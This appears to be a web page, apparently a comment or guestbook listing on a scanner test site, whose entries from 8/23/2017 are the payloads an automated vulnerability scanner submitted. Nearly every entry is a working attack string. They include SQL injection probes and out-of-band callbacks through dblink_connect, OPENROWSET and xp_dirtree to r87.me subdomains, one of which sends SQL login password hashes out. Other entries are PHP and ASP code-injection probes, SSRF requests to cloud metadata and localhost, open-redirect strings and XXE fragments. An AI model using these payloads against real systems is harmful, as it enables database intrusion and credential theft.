'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n [php]print(int)0xFFF9999-22;[/php]\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n '{${print(int)0xFFF9999-22}}'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n {php}print(int)0xFFF9999-22;{/php}\r\n

\r\n
\r\n

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR X='ss

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 17-7=10

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \"+print(int)0xFFF9999-22+\"\r\n

\r\n
\r\n

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+NSFTW+'

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR 'ns'='ns

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 AND 'NS='ss

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n '+print(int)0xFFF9999-22+'\r\n

\r\n
\r\n

NSFTW

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

NS1NO

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n +print(int)0xFFF9999-22;//\r\n

\r\n
\r\n

'

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22\r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n <% response.write(268409241-22) %>\r\n

\r\n
\r\n

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.0.0.1:3306

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.100.11.2:22

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \"+response.write(268409241-22)+\"\r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n +response.write(268409241-22)'\r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://169.254.169.254/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n response.write(268409241-22)'\r\n

\r\n
\r\n

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://aws.r87.me/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me\r\n

\r\n
\r\n

::1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

